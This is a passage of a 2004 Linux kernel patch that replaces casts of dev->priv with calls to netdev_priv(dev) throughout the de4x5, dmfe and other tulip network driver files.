de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int status = 0; u_long flags = 0; @@ -1551,7 +1551,7 @@ de4x5_interrupt(int irq, void *dev_id, s printk ("de4x5_interrupt(): irq %d for unknown device.\n", irq); return IRQ_NONE; } - lp = (struct de4x5_private *)dev->priv; + lp = netdev_priv(dev); spin_lock(&lp->lock); iobase = dev->base_addr; @@ -1610,7 +1610,7 @@ de4x5_interrupt(int irq, void *dev_id, s static int de4x5_rx(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int entry; s32 status; @@ -1701,7 +1701,7 @@ de4x5_free_tx_buff(struct de4x5_private static int de4x5_tx(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int entry; s32 status; @@ -1753,7 +1753,7 @@ de4x5_tx(struct net_device *dev) static int de4x5_ast(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int next_tick = DE4X5_AUTOSENSE_MS; disable_ast(dev); @@ -1776,7 +1776,7 @@ de4x5_ast(struct net_device *dev) static int de4x5_txur(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int omr; @@ -1799,7 +1799,7 @@ de4x5_txur(struct net_device *dev) static int de4x5_rx_ovfc(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int omr; @@ -1820,7 +1820,7 @@ de4x5_rx_ovfc(struct net_device *dev) static int de4x5_close(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; s32 imr, omr; @@ -1856,7 +1856,7 @@ de4x5_close(struct net_device *dev) static struct net_device_stats * de4x5_get_stats(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; lp->stats.rx_missed_errors = (int)(inl(DE4X5_MFC) & (MFC_OVFL | MFC_CNTR)); @@ -1867,7 +1867,7 @@ de4x5_get_stats(struct net_device *dev) static void de4x5_local_stats(struct net_device *dev, char *buf, int pkt_len) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int i; for (i=1; ipriv; + struct de4x5_private *lp = netdev_priv(dev); int entry = (lp->tx_new ? lp->tx_new-1 : lp->txRingSize-1); dma_addr_t buf_dma = dma_map_single(lp->gendev, buf, flags & TD_TBS1, DMA_TO_DEVICE); @@ -1927,7 +1927,7 @@ load_packet(struct net_device *dev, char static void set_multicast_list(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; /* First, double check that the adapter is open */ @@ -1957,7 +1957,7 @@ set_multicast_list(struct net_device *de static void SetMulticastFilter(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); struct dev_mc_list *dmi=dev->mc_list; u_long iobase = dev->base_addr; int i, j, bit, byte; @@ -2036,7 +2036,7 @@ static int __init de4x5_eisa_probe (stru status = -ENOMEM; goto release_reg_2; } - lp = dev->priv; + lp = netdev_priv(dev); cfid = (u32) inl(PCI_CFID); lp->cfrv = (u_short) inl(PCI_CFRV); @@ -2142,7 +2142,7 @@ srom_search(struct net_device *dev, stru u_int irq = 0, device; u_long iobase = 0; /* Clear upper 32 bits in Alphas */ int i, j, cfrv; - struct de4x5_private *lp = dev->priv; + struct de4x5_private *lp = netdev_priv(dev); struct list_head *walk = &pdev->bus_list; for (walk = walk->next; walk != &pdev->bus_list; walk = walk->next) { @@ -2245,7 +2245,7 @@ static int __devinit de4x5_pci_probe (st if (!(dev = alloc_etherdev (sizeof (struct de4x5_private)))) return -ENOMEM; - lp = dev->priv; + lp = netdev_priv(dev); lp->bus = PCI; lp->bus_num = 0; @@ -2374,7 +2374,7 @@ static struct pci_driver de4x5_pci_drive static int autoconf_media(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int next_tick = DE4X5_AUTOSENSE_MS; @@ -2415,7 +2415,7 @@ autoconf_media(struct net_device *dev) static int dc21040_autoconf(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int next_tick = DE4X5_AUTOSENSE_MS; s32 imr; @@ -2488,7 +2488,7 @@ dc21040_state(struct net_device *dev, in int next_state, int suspect_state, int (*fn)(struct net_device *, int)) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int next_tick = DE4X5_AUTOSENSE_MS; int linkBad; @@ -2527,7 +2527,7 @@ de4x5_suspect_state(struct net_device *d int (*fn)(struct net_device *, int), int (*asfn)(struct net_device *)) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int next_tick = DE4X5_AUTOSENSE_MS; int linkBad; @@ -2569,7 +2569,7 @@ de4x5_suspect_state(struct net_device *d static int dc21041_autoconf(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; s32 sts, irqs, irq_mask, imr, omr; int next_tick = DE4X5_AUTOSENSE_MS; @@ -2771,7 +2771,7 @@ dc21041_autoconf(struct net_device *dev) static int dc21140m_autoconf(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int ana, anlpa, cap, cr, slnk, sr; int next_tick = DE4X5_AUTOSENSE_MS; u_long imr, omr, iobase = dev->base_addr; @@ -2955,7 +2955,7 @@ dc21140m_autoconf(struct net_device *dev static int dc2114x_autoconf(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; s32 cr, anlpa, ana, cap, irqs, irq_mask, imr, omr, slnk, sr, sts; int next_tick = DE4X5_AUTOSENSE_MS; @@ -3206,7 +3206,7 @@ printk("Huh?: media:%02x\n", lp->media); static int srom_autoconf(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); return lp->infoleaf_fn(dev); } @@ -3219,7 +3219,7 @@ srom_autoconf(struct net_device *dev) static int srom_map_media(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); lp->fdx = 0; if (lp->infoblock_media == lp->media) @@ -3284,7 +3284,7 @@ srom_map_media(struct net_device *dev) static void de4x5_init_connection(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; u_long flags = 0; @@ -3313,7 +3313,7 @@ de4x5_init_connection(struct net_device static int de4x5_reset_phy(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int next_tick = 0; @@ -3347,7 +3347,7 @@ de4x5_reset_phy(struct net_device *dev) static int test_media(struct net_device *dev, s32 irqs, s32 irq_mask, s32 csr13, s32 csr14, s32 csr15, s32 msec) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; s32 sts, csr12; @@ -3385,7 +3385,7 @@ test_media(struct net_device *dev, s32 i static int test_tp(struct net_device *dev, s32 msec) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int sisr; @@ -3414,7 +3414,7 @@ test_tp(struct net_device *dev, s32 msec static int test_for_100Mb(struct net_device *dev, int msec) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int gep = 0, ret = ((lp->chipset & ~0x00ff)==DC2114x? -1 :GEP_SLNK); if (lp->timeout < 0) { @@ -3445,7 +3445,7 @@ test_for_100Mb(struct net_device *dev, i static int wait_for_link(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); if (lp->timeout < 0) { lp->timeout = 1; @@ -3467,7 +3467,7 @@ wait_for_link(struct net_device *dev) static int test_mii_reg(struct net_device *dev, int reg, int mask, int pol, long msec) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int test; u_long iobase = dev->base_addr; @@ -3491,7 +3491,7 @@ test_mii_reg(struct net_device *dev, int static int is_spd_100(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int spd; @@ -3515,7 +3515,7 @@ is_spd_100(struct net_device *dev) static int is_100_up(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; if (lp->useMII) { @@ -3536,7 +3536,7 @@ is_100_up(struct net_device *dev) static int is_10_up(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; if (lp->useMII) { @@ -3559,7 +3559,7 @@ is_10_up(struct net_device *dev) static int is_anc_capable(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; if (lp->phy[lp->active].id && (!lp->useSROM || lp->useMII)) { @@ -3578,7 +3578,7 @@ is_anc_capable(struct net_device *dev) static int ping_media(struct net_device *dev, int msec) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int sisr; @@ -3619,7 +3619,7 @@ ping_media(struct net_device *dev, int m static struct sk_buff * de4x5_alloc_rx_buff(struct net_device *dev, int index, int len) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); struct sk_buff *p; #if !defined(__alpha__) && !defined(__powerpc__) && !defined(__sparc_v9__) && !defined(DE4X5_DO_MEMCPY) @@ -3667,7 +3667,7 @@ de4x5_alloc_rx_buff(struct net_device *d static void de4x5_free_rx_buffs(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int i; for (i=0; irxRingSize; i++) { @@ -3684,7 +3684,7 @@ de4x5_free_rx_buffs(struct net_device *d static void de4x5_free_tx_buffs(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int i; for (i=0; itxRingSize; i++) { @@ -3711,7 +3711,7 @@ de4x5_free_tx_buffs(struct net_device *d static void de4x5_save_skbs(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; s32 omr; @@ -3732,7 +3732,7 @@ de4x5_save_skbs(struct net_device *dev) static void de4x5_rst_desc_ring(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int i; s32 omr; @@ -3765,7 +3765,7 @@ de4x5_rst_desc_ring(struct net_device *d static void de4x5_cache_state(struct net_device *dev, int flag) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; switch(flag) { @@ -3795,7 +3795,7 @@ de4x5_cache_state(struct net_device *dev static void de4x5_put_cache(struct net_device *dev, struct sk_buff *skb) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); struct sk_buff *p; if (lp->cache.skb) { @@ -3812,7 +3812,7 @@ de4x5_put_cache(struct net_device *dev, static void de4x5_putb_cache(struct net_device *dev, struct sk_buff *skb) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); struct sk_buff *p = lp->cache.skb; lp->cache.skb = skb; @@ -3824,7 +3824,7 @@ de4x5_putb_cache(struct net_device *dev, static struct sk_buff * de4x5_get_cache(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); struct sk_buff *p = lp->cache.skb; if (p) { @@ -3842,7 +3842,7 @@ de4x5_get_cache(struct net_device *dev) static int test_ans(struct net_device *dev, s32 irqs, s32 irq_mask, s32 msec) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; s32 sts, ans; @@ -3870,7 +3870,7 @@ test_ans(struct net_device *dev, s32 irq static void de4x5_setup_intr(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; s32 imr, sts; @@ -3891,7 +3891,7 @@ de4x5_setup_intr(struct net_device *dev) static void reset_init_sia(struct net_device *dev, s32 csr13, s32 csr14, s32 csr15) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; RESET_SIA; @@ -4014,7 +4014,7 @@ static void DevicePresent(struct net_device *dev, u_long aprom_addr) { int i, j=0; - struct de4x5_private *lp = (struct de4x5_private *) dev->priv; + struct de4x5_private *lp = netdev_priv(dev); if (lp->chipset == DC21040) { if (lp->bus == EISA) { @@ -4095,7 +4095,7 @@ get_hw_addr(struct net_device *dev) u_long iobase = dev->base_addr; int broken, i, k, tmp, status = 0; u_short j,chksum; - struct de4x5_private *lp = dev->priv; + struct de4x5_private *lp = netdev_priv(dev); broken = de4x5_bad_srom(lp); @@ -4210,7 +4210,7 @@ de4x5_strncmp(char *a, char *b, int n) static void srom_repair(struct net_device *dev, int card) { - struct de4x5_private *lp = dev->priv; + struct de4x5_private *lp = netdev_priv(dev); switch(card) { case SMC: @@ -4231,7 +4231,7 @@ srom_repair(struct net_device *dev, int static int test_bad_enet(struct net_device *dev, int status) { - struct de4x5_private *lp = dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int i, tmp; for (tmp=0,i=0; idev_addr[i]; @@ -4384,7 +4384,7 @@ getfrom_srom(u_long addr) static int srom_infoleaf_info(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int i, count; u_char *p; @@ -4432,7 +4432,7 @@ srom_infoleaf_info(struct net_device *de static void srom_init(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char *p = (u_char *)&lp->srom + lp->infoleaf_offset; u_char count; @@ -4477,7 +4477,7 @@ srom_init(struct net_device *dev) static void srom_exec(struct net_device *dev, u_char *p) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; u_char count = (p ? *p++ : 0); u_short *w = (u_short *)p; @@ -4514,7 +4514,7 @@ dc21041_infoleaf(struct net_device *dev) static int dc21140_infoleaf(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char count = 0; u_char *p = (u_char *)&lp->srom + lp->infoleaf_offset; int next_tick = DE4X5_AUTOSENSE_MS; @@ -4552,7 +4552,7 @@ dc21140_infoleaf(struct net_device *dev) static int dc21142_infoleaf(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char count = 0; u_char *p = (u_char *)&lp->srom + lp->infoleaf_offset; int next_tick = DE4X5_AUTOSENSE_MS; @@ -4587,7 +4587,7 @@ dc21142_infoleaf(struct net_device *dev) static int dc21143_infoleaf(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char count = 0; u_char *p = (u_char *)&lp->srom + lp->infoleaf_offset; int next_tick = DE4X5_AUTOSENSE_MS; @@ -4625,7 +4625,7 @@ dc21143_infoleaf(struct net_device *dev) static int compact_infoblock(struct net_device *dev, u_char count, u_char *p) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char flags, csr6; /* Recursively figure out the info blocks */ @@ -4665,7 +4665,7 @@ compact_infoblock(struct net_device *dev static int type0_infoblock(struct net_device *dev, u_char count, u_char *p) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char flags, csr6, len = (*p & BLOCK_LEN)+1; /* Recursively figure out the info blocks */ @@ -4705,7 +4705,7 @@ type0_infoblock(struct net_device *dev, static int type1_infoblock(struct net_device *dev, u_char count, u_char *p) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char len = (*p & BLOCK_LEN)+1; /* Recursively figure out the info blocks */ @@ -4744,7 +4744,7 @@ type1_infoblock(struct net_device *dev, static int type2_infoblock(struct net_device *dev, u_char count, u_char *p) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char len = (*p & BLOCK_LEN)+1; /* Recursively figure out the info blocks */ @@ -4785,7 +4785,7 @@ type2_infoblock(struct net_device *dev, static int type3_infoblock(struct net_device *dev, u_char count, u_char *p) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char len = (*p & BLOCK_LEN)+1; /* Recursively figure out the info blocks */ @@ -4827,7 +4827,7 @@ type3_infoblock(struct net_device *dev, static int type4_infoblock(struct net_device *dev, u_char count, u_char *p) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char flags, csr6, len = (*p & BLOCK_LEN)+1; /* Recursively figure out the info blocks */ @@ -4872,7 +4872,7 @@ type4_infoblock(struct net_device *dev, static int type5_infoblock(struct net_device *dev, u_char count, u_char *p) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_char len = (*p & BLOCK_LEN)+1; /* Recursively figure out the info blocks */ @@ -5072,7 +5072,7 @@ mii_get_oui(u_char phyaddr, u_long ioadd static int mii_get_phy(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int i, j, k, n, limit=sizeof(phy_info)/sizeof(struct phy_table); int id; @@ -5136,7 +5136,7 @@ mii_get_phy(struct net_device *dev) static char * build_setup_frame(struct net_device *dev, int mode) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int i; char *pa = lp->setup_frame; @@ -5176,7 +5176,7 @@ enable_ast(struct net_device *dev, u32 t static void disable_ast(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); del_timer(&lp->timer); @@ -5186,7 +5186,7 @@ disable_ast(struct net_device *dev) static long de4x5_switch_mac_port(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; s32 omr; @@ -5222,7 +5222,7 @@ de4x5_switch_mac_port(struct net_device static void gep_wr(s32 data, struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; if (lp->chipset == DC21140) { @@ -5237,7 +5237,7 @@ gep_wr(s32 data, struct net_device *dev) static int gep_rd(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; if (lp->chipset == DC21140) { @@ -5252,7 +5252,7 @@ gep_rd(struct net_device *dev) static void timeout(struct net_device *dev, void (*fn)(u_long data), u_long data, u_long msec) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int dt; /* First, cancel any pending timer events */ @@ -5275,7 +5275,7 @@ timeout(struct net_device *dev, void (*f static void yawn(struct net_device *dev, int state) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; if ((lp->chipset == DC21040) || (lp->chipset == DC21140)) return; @@ -5321,7 +5321,7 @@ yawn(struct net_device *dev, int state) static void de4x5_parse_params(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); char *p, *q, t; lp->params.fdx = 0; @@ -5364,7 +5364,7 @@ de4x5_parse_params(struct net_device *de static void de4x5_dbg_open(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); int i; if (de4x5_debug & DEBUG_OPEN) { @@ -5415,7 +5415,7 @@ de4x5_dbg_open(struct net_device *dev) static void de4x5_dbg_mii(struct net_device *dev, int k) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; if (de4x5_debug & DEBUG_MII) { @@ -5443,7 +5443,7 @@ de4x5_dbg_mii(struct net_device *dev, in static void de4x5_dbg_media(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); if (lp->media != lp->c_media) { if (de4x5_debug & DEBUG_MEDIA) { @@ -5534,7 +5534,7 @@ de4x5_dbg_rx(struct sk_buff *skb, int le static int de4x5_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); struct de4x5_ioctl *ioc = (struct de4x5_ioctl *) &rq->ifr_data; u_long iobase = dev->base_addr; int i, j, status = 0; diff -puN drivers/net/tulip/dmfe.c~net_tulip_casts drivers/net/tulip/dmfe.c --- linux-264-302-priv/drivers/net/tulip/dmfe.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/dmfe.c 2004-03-02 20:32:55.000000000 -0800 @@ -392,7 +392,7 @@ static int __devinit dmfe_init_one (stru } /* Init system & device */ - db = dev->priv; + db = netdev_priv(dev); /* Allocate Tx/Rx descriptor memory */ db->desc_pool_ptr = pci_alloc_consistent(pdev, sizeof(struct tx_desc) * DESC_ALL_CNT + 0x20, &db->desc_pool_dma_ptr); @@ -466,7 +466,7 @@ err_out_free: static void __devexit dmfe_remove_one (struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); - struct dmfe_board_info *db = dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); DMFE_DBUG(0, "dmfe_remove_one()", 0); @@ -494,7 +494,7 @@ static void __devexit dmfe_remove_one (s static int dmfe_open(struct DEVICE *dev) { int ret; - struct dmfe_board_info *db = dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); DMFE_DBUG(0, "dmfe_open", 0); @@ -552,7 +552,7 @@ static int dmfe_open(struct DEVICE *dev) static void dmfe_init_dm910x(struct DEVICE *dev) { - struct dmfe_board_info *db = dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); unsigned long ioaddr = db->ioaddr; DMFE_DBUG(0, "dmfe_init_dm910x()", 0); @@ -618,7 +618,7 @@ static void dmfe_init_dm910x(struct DEVI static int dmfe_start_xmit(struct sk_buff *skb, struct DEVICE *dev) { - struct dmfe_board_info *db = dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); struct tx_desc *txptr; unsigned long flags; @@ -687,7 +687,7 @@ static int dmfe_start_xmit(struct sk_buf static int dmfe_stop(struct DEVICE *dev) { - struct dmfe_board_info *db = dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); unsigned long ioaddr = dev->base_addr; DMFE_DBUG(0, "dmfe_stop", 0); @@ -730,7 +730,7 @@ static int dmfe_stop(struct DEVICE *dev) static irqreturn_t dmfe_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct DEVICE *dev = dev_id; - struct dmfe_board_info *db = (struct dmfe_board_info *) dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); unsigned long ioaddr = dev->base_addr; unsigned long flags; @@ -957,7 +957,7 @@ static void dmfe_rx_packet(struct DEVICE static struct net_device_stats * dmfe_get_stats(struct DEVICE *dev) { - struct dmfe_board_info *db = (struct dmfe_board_info *)dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); DMFE_DBUG(0, "dmfe_get_stats", 0); return &db->stats; @@ -970,7 +970,7 @@ static struct net_device_stats * dmfe_ge static void dmfe_set_filter_mode(struct DEVICE * dev) { - struct dmfe_board_info *db = dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); unsigned long flags; DMFE_DBUG(0, "dmfe_set_filter_mode()", 0); @@ -1003,7 +1003,7 @@ static void dmfe_set_filter_mode(struct static void netdev_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { - struct dmfe_board_info *np = dev->priv; + struct dmfe_board_info *np = netdev_priv(dev); strcpy(info->driver, DRV_NAME); strcpy(info->version, DRV_VERSION); @@ -1028,7 +1028,7 @@ static void dmfe_timer(unsigned long dat u32 tmp_cr8; unsigned char tmp_cr12; struct DEVICE *dev = (struct DEVICE *) data; - struct dmfe_board_info *db = (struct dmfe_board_info *) dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); unsigned long flags; DMFE_DBUG(0, "dmfe_timer()", 0); @@ -1160,7 +1160,7 @@ static void dmfe_timer(unsigned long dat static void dmfe_dynamic_reset(struct DEVICE *dev) { - struct dmfe_board_info *db = dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); DMFE_DBUG(0, "dmfe_dynamic_reset()", 0); @@ -1358,7 +1358,7 @@ static void dm9132_id_table(struct DEVIC static void send_filter_frame(struct DEVICE *dev, int mc_cnt) { - struct dmfe_board_info *db = dev->priv; + struct dmfe_board_info *db = netdev_priv(dev); struct dev_mc_list *mcptr; struct tx_desc *txptr; u16 * addrptr; diff -puN drivers/net/tulip/eeprom.c~net_tulip_casts drivers/net/tulip/eeprom.c --- linux-264-302-priv/drivers/net/tulip/eeprom.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/eeprom.c 2004-03-02 20:44:17.000000000 -0800 @@ -136,7 +136,7 @@ void __devinit tulip_parse_eeprom(struct static struct mediatable *last_mediatable; static unsigned char *last_ee_data; static int controller_index; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); unsigned char *ee_data = tp->eeprom; int i; diff -puN drivers/net/tulip/interrupt.c~net_tulip_casts drivers/net/tulip/interrupt.c --- linux-264-302-priv/drivers/net/tulip/interrupt.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/interrupt.c 2004-03-02 20:37:57.000000000 -0800 @@ -63,7 +63,7 @@ unsigned int mit_table[MIT_SIZE+1] = int tulip_refill_rx(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); int entry; int refilled = 0; @@ -109,7 +109,7 @@ void oom_timer(unsigned long data) int tulip_poll(struct net_device *dev, int *budget) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); int entry = tp->cur_rx % RX_RING_SIZE; int rx_work_limit = *budget; int received = 0; @@ -354,7 +354,7 @@ done: static int tulip_rx(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); int entry = tp->cur_rx % RX_RING_SIZE; int rx_work_limit = tp->dirty_rx + RX_RING_SIZE - tp->cur_rx; int received = 0; @@ -465,7 +465,7 @@ static inline unsigned int phy_interrupt { #ifdef __hppa__ int csr12 = inl(dev->base_addr + CSR12) & 0xff; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); if (csr12 != tp->csr12_shadow) { /* ack interrupt */ @@ -490,7 +490,7 @@ static inline unsigned int phy_interrupt irqreturn_t tulip_interrupt(int irq, void *dev_instance, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_instance; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int csr5; int missed; diff -puN drivers/net/tulip/media.c~net_tulip_casts drivers/net/tulip/media.c --- linux-264-302-priv/drivers/net/tulip/media.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/media.c 2004-03-02 20:42:38.000000000 -0800 @@ -48,7 +48,7 @@ static const unsigned char comet_miireg2 int 